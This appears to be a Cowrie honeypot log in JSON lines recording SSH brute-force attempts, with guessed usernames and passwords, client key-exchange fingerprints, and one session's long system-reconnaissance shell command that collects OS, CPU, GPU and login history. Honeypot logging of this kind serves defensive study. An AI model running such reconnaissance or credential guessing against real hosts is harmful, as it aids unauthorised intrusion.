{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:32.455591Z","src_ip":"162.214.22.174","session":"f6c957fb205e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yerevan_armenia","password":"yerevan123","message":"login attempt [yerevan_armenia/yerevan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:33.148921Z","src_ip":"162.214.22.174","session":"f6c957fb205e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53202,"dst_ip":"159.203.135.109","dst_port":22,"session":"98600bcd1a4d","protocol":"ssh","message":"New connection: 160.187.174.22:53202 (159.203.135.109:22) [session: 98600bcd1a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:33.665434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:33.669523Z","src_ip":"160.187.174.22","session":"98600bcd1a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:33.906254Z","src_ip":"160.187.174.22","session":"98600bcd1a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:34.271556Z","src_ip":"162.214.22.174","session":"f6c957fb205e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"1","message":"login attempt [default/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:34.629962Z","src_ip":"160.187.174.22","session":"98600bcd1a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:35.869404Z","src_ip":"160.187.174.22","session":"98600bcd1a4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":40362,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5d7a96913ec","protocol":"ssh","message":"New connection: 91.92.40.4:40362 (10.17.0.5:22) [session: c5d7a96913ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:44.381259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:44.384657Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:44.518207Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"111111","message":"login attempt [oracle/111111] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:44.971423Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.245969Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.248640Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.251216Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.253774Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.256216Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.259213Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.261507Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.263820Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.266666Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.270082Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.273160Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.363138Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:38:45.447073Z","src_ip":"91.92.40.4","session":"c5d7a96913ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":35364,"dst_ip":"159.203.135.109","dst_port":22,"session":"d66d8b692e45","protocol":"ssh","message":"New connection: 160.187.174.22:35364 (159.203.135.109:22) [session: d66d8b692e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:02.719299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:02.726476Z","src_ip":"160.187.174.22","session":"d66d8b692e45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:02.972049Z","src_ip":"160.187.174.22","session":"d66d8b692e45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:03.699732Z","src_ip":"160.187.174.22","session":"d66d8b692e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:04.945406Z","src_ip":"160.187.174.22","session":"d66d8b692e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.47870326042175,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:11.947413Z","src_ip":"170.64.224.25","session":"fcb4dd3a16fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54898,"dst_ip":"159.203.135.109","dst_port":22,"session":"dad368317b41","protocol":"ssh","message":"New connection: 160.187.174.22:54898 (159.203.135.109:22) [session: dad368317b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:31.574991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:31.583627Z","src_ip":"160.187.174.22","session":"dad368317b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:31.815397Z","src_ip":"160.187.174.22","session":"dad368317b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab123","message":"login attempt [gitlab/gitlab123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:32.533504Z","src_ip":"160.187.174.22","session":"dad368317b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:33.769232Z","src_ip":"160.187.174.22","session":"dad368317b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":38120,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0d817341488","protocol":"ssh","message":"New connection: 209.99.190.113:38120 (10.17.0.5:22) [session: f0d817341488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:48.513587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:48.518169Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:48.618018Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"ADMIN@123","message":"login attempt [admin/ADMIN@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:39:49.054194Z","src_ip":"209.99.190.113","session":"f0d817341488","protocol":"ssh"}
